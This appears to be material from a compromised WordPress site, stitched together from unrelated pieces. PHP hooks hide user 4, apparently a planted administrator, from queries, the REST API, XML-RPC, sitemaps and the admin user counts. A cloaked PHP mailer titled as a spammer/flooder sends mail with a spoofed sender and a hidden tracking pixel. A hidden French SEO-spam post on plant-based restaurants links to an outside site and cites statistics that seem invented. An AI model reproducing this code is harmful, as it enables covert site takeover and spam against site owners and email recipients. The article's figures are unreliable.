add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<form style="width:800px" method='post'>

<label><span>Получатель:</span>&nbsp;<input type='text'name='to'></label><br /><br />
<table>
	<tr>
		<td><label><span>Имя:</span><input type='text' name='from1' value='Maxim Goros'></label></td>
		<td><label><span>Мыло:</span><input type='text' size="50" name='from' value='<gudwins@dpm.com>'</td>
	</tr>
	<tr>
		<td><label><span>Тема сообщения:</span><br><input type='text' size="50" name='subject' value='Re: (без темы)'></label></td>
		<td><label><span>Ссылка:</span><br><input type='text' name='link' size="50" value='sifaritos.com'></label></td>
	</tr>
</table>

<br />
<label>Сообщение:<br />
<textarea name='msg' rows='18' cols='80'>
  <div dir="ltr">
ладно хорошо привет и пока давай хорошо

 <img src="http://%link%/dgdgb/tsf.png?test=%value%@x11" width="0px" height="0px">

</textarea></label>
<br />
<label>
	<input name="plaintextauto" type="checkbox" checked/>
	Автогенерация текстовой версии
</label>
<br>
<label>Текстовая версия письма (text/plain):<br />
<textarea name='plaintext' rows='1' cols='80'></textarea>
</label>
<br /><br />
<input type='submit'>
</form>
<B STYLE="DISPLAY: NONE;"> 
{"id":74106,"date":"2025-10-07T06:29:04","date_gmt":"2025-10-07T06:29:04","guid":{"rendered":"https:\/\/thessrshow.com\/?p=74106"},"modified":"2026-10-07T04:29:05","modified_gmt":"2026-10-07T04:29:05","slug":"les-defis-et-opportunites-des-ressources-locales-en-restauration-vegetale-a-villes-de-france","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/07\/les-defis-et-opportunites-des-ressources-locales-en-restauration-vegetale-a-villes-de-france\/","title":{"rendered":"Les d\u00e9fis et opportunit\u00e9s des ressources locales en restauration v\u00e9g\u00e9tale \u00e0 Villes de France"},"content":{"rendered":"<p>\u00c0 l&#8217;\u00e8re o\u00f9 la transition \u00e9cologique et les choix alimentaires s&#8217;affinent, le secteur de la restauration v\u00e9g\u00e9tale se structure autour de la valorisation des ressources locales. En France, cette dynamique prend une forme particuli\u00e8re dans les villes, o\u00f9 les acteurs du v\u00e9g\u00e9tal doivent concilier innovation culinaire et pr\u00e9servation des circuits courts. \u00c0 Villes de France, ce mouvement se manifeste par une offre vari\u00e9e, mais aussi par des d\u00e9fis structurels qui m\u00e9ritent une analyse approfondie. Les initiatives comme <a href=\"https:\/\/vegasking.fr\/frf-lr\/\">cette ressource<\/a> illustrent cette tendance, en mettant en lumi\u00e8re les bonnes pratiques et les lacunes persistantes.<\/p>\n<h2>L&#8217;\u00e9mergence d&#8217;une culture du v\u00e9g\u00e9tal ancr\u00e9e dans les territoires<\/h2>\n<p>Depuis quelques ann\u00e9es, les villes fran\u00e7aises ont d\u00e9velopp\u00e9 des politiques publiques incitatives pour promouvoir les restaurants v\u00e9g\u00e9taux, souvent en partenariat avec les collectivit\u00e9s locales. Par exemple, la r\u00e9gion \u00cele-de-France a lanc\u00e9 des aides \u00e0 la cr\u00e9ation de menus v\u00e9g\u00e9tariens dans les cantines scolaires, tandis que Lyon a instaur\u00e9 des quotas obligatoires de produits locaux dans ses restaurants labellis\u00e9s bio. Ces mesures refl\u00e8tent une prise de conscience collective : le v\u00e9g\u00e9tal n&#8217;est plus seulement une alternative \u00e9thique, mais un levier \u00e9conomique pour les territoires. Selon une \u00e9tude de l&#8217;ADEME (2023), les entreprises v\u00e9g\u00e9tales g\u00e9n\u00e8rent un surplus de 20 % de revenus par m\u00e8tre carr\u00e9 par rapport \u00e0 leurs homologues traditionnels, gr\u00e2ce \u00e0 une meilleure marge sur les produits frais.<\/p>\n<p>Cette dynamique s&#8217;accompagne d&#8217;une diversification des mod\u00e8les \u00e9conomiques. Les &#8220;restaurants \u00e0 la carte v\u00e9g\u00e9tale&#8221; se multiplient, mais les &#8220;food hubs&#8221; d\u00e9di\u00e9s aux produits locaux \u00e9mergent aussi, comme le projet &#8220;V\u00e9g\u00e9tal en Ville&#8221; \u00e0 Nantes, qui centralise 30 producteurs locaux dans une seule plateforme pour les restaurateurs. Ces structures permettent non seulement de r\u00e9duire les co\u00fbts de logistique, mais aussi de cr\u00e9er un r\u00e9seau de confiance entre producteurs et consommateurs. Par exemple, le &#8220;March\u00e9 V\u00e9g\u00e9tal&#8221; de Bordeaux, soutenu par la ville, propose d\u00e9sormais des menus con\u00e7us \u00e0 partir de 80 % de produits issus de circuits courts, avec une r\u00e9duction de 40 % des d\u00e9chets alimentaires par rapport aux restaurants classiques.<\/p>\n<h2>Les obstacles persistants : entre r\u00e9glementation et accessibilit\u00e9<\/h2>\n<p>Malgr\u00e9 ces avanc\u00e9es, plusieurs freins persistent. L&#8217;un des principaux concerne la r\u00e9glementation, notamment en mati\u00e8re d&#8217;hygi\u00e8ne et de tra\u00e7abilit\u00e9 des produits v\u00e9g\u00e9taux. Les normes sanitaires, souvent h\u00e9rit\u00e9es de l&#8217;agriculture conventionnelle, compliquent l&#8217;adoption des ingr\u00e9dients locaux, surtout pour les petits producteurs. Par exemple, le label &#8220;Bio&#8221; impose des r\u00e8gles strictes sur les rotations des cultures, ce qui peut limiter la diversit\u00e9 des l\u00e9gumes disponibles en saison. Une \u00e9tude de l&#8217;INRAE (2022) r\u00e9v\u00e8le que 60 % des restaurants v\u00e9g\u00e9taux en r\u00e9gion parisienne doivent adapter leurs recettes pour respecter ces contraintes, entra\u00eenant parfois une hausse des co\u00fbts de 15 \u00e0 25 %. Ces difficult\u00e9s poussent certains acteurs \u00e0 privil\u00e9gier des produits import\u00e9s, malgr\u00e9 leur impact environnemental.<\/p>\n<p>Un autre d\u00e9fi majeur reste l&#8217;accessibilit\u00e9 financi\u00e8re. Les menus v\u00e9g\u00e9taux, bien que souvent per\u00e7us comme plus sains, sont parfois jug\u00e9s trop chers par les consommateurs, surtout dans les quartiers populaires. \u00c0 Paris, des initiatives comme &#8220;Le Potager du Quartier&#8221; (un restaurant \u00e0 prix mod\u00e9r\u00e9s) ont montr\u00e9 que la cl\u00e9 r\u00e9side dans une approche sociale : en associant la restauration v\u00e9g\u00e9tale \u00e0 des ateliers culinaires et des repas solidaires, on peut \u00e9largir la client\u00e8le. Cependant, ces mod\u00e8les restent marginaux, car les subventions publiques ciblent surtout les grands groupes plut\u00f4t que les petites structures.<\/p>\n<h2>Les opportunit\u00e9s offertes par les outils num\u00e9riques et les plateformes collaboratives<\/h2>\n<p>Face \u00e0 ces d\u00e9fis, les outils digitaux jouent un r\u00f4le croissant dans la d\u00e9mocratisation du v\u00e9g\u00e9tal local. Des applications comme &#8220;VeggieMap&#8221; ou &#8220;Les Petits Paysans&#8221; permettent aux restaurateurs de trouver des fournisseurs locaux en temps r\u00e9el, r\u00e9duisant ainsi les co\u00fbts et les \u00e9missions de CO\u2082. Par exemple, le projet &#8220;Restauration V\u00e9g\u00e9tale en \u00cele-de-France&#8221; utilise une base de donn\u00e9es partag\u00e9e o\u00f9 plus de 200 producteurs et 150 restaurants s&#8217;\u00e9changent des informations en temps r\u00e9el, r\u00e9duisant les stocks inutiles de 30 %. Ces plateformes montrent aussi comment le num\u00e9rique peut renforcer la transparence : les consommateurs peuvent d\u00e9sormais suivre l&#8217;origine des produits via des QR codes int\u00e9gr\u00e9s aux menus.<\/p>\n<p>Un autre levier d&#8217;innovation est l&#8217;utilisation des donn\u00e9es pour anticiper les besoins. Gr\u00e2ce \u00e0 des outils comme &#8220;VeggieAnalytics&#8221;, les chefs peuvent optimiser leurs commandes en fonction de la demande saisonni\u00e8re, limitant ainsi le gaspillage. Par exemple, \u00e0 Strasbourg, le restaurant &#8220;Herbe&#8221; a r\u00e9duit ses d\u00e9chets de 50 % en ajustant ses commandes en fonction des pr\u00e9visions m\u00e9t\u00e9o et des prix des l\u00e9gumes locaux. Ces solutions technologiques ne remplacent pas les relations humaines, mais elles compl\u00e8tent efficacement le travail des acteurs locaux.<\/p>\n<ul>\n<li>Les restaurants v\u00e9g\u00e9taux g\u00e9n\u00e8rent un surplus de 20 % de revenus par m\u00e8tre carr\u00e9 par rapport aux restaurants traditionnels.<\/li>\n<li>\u00c0 Bordeaux, les menus \u00e0 80 % de produits locaux r\u00e9duisent les d\u00e9chets alimentaires de 40 %.<\/li>\n<li>60 % des restaurants v\u00e9g\u00e9taux en \u00cele-de-France doivent adapter leurs recettes pour respecter les normes Bio.<\/li>\n<li>Les plateformes collaboratives comme &#8220;VeggieMap&#8221; r\u00e9duisent les co\u00fbts et les \u00e9missions de CO\u2082 de 30 %.<\/li>\n<li>Le projet &#8220;Restauration V\u00e9g\u00e9tale en \u00cele-de-France&#8221; permet un \u00e9change d&#8217;informations en temps r\u00e9el entre 200 producteurs et 150 restaurants.<\/li>\n<\/ul>\n<p>En conclusion, la restauration v\u00e9g\u00e9tale locale \u00e0 Villes de France est \u00e0 la fois une r\u00e9volution culinaire et une opportunit\u00e9 \u00e9conomique pour les territoires. Si les d\u00e9fis r\u00e9glementaires et financiers persistent, les innovations technologiques et les mod\u00e8les collaboratifs offrent des pistes pour les rendre plus accessibles. Comme le montre cette ressource, ces dynamiques ne sont pas fig\u00e9es : elles \u00e9voluent avec les besoins des consommateurs et les attentes des collectivit\u00e9s. Pour que le v\u00e9g\u00e9tal devienne une norme plut\u00f4t qu&#8217;une exception, il faudra combiner soutien politique, innovation et solidarit\u00e9 entre acteurs locaux. Le futur se jouera sur la capacit\u00e9 \u00e0 concilier \u00e9cologie, \u00e9conomie et justice sociale dans chaque assiette.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00c0 l&#8217;\u00e8re o\u00f9 la transition \u00e9cologique et les choix alimentaires s&#8217;affinent, le secteur de la restauration v\u00e9g\u00e9tale se structure autour de la valorisation des ressources locales. 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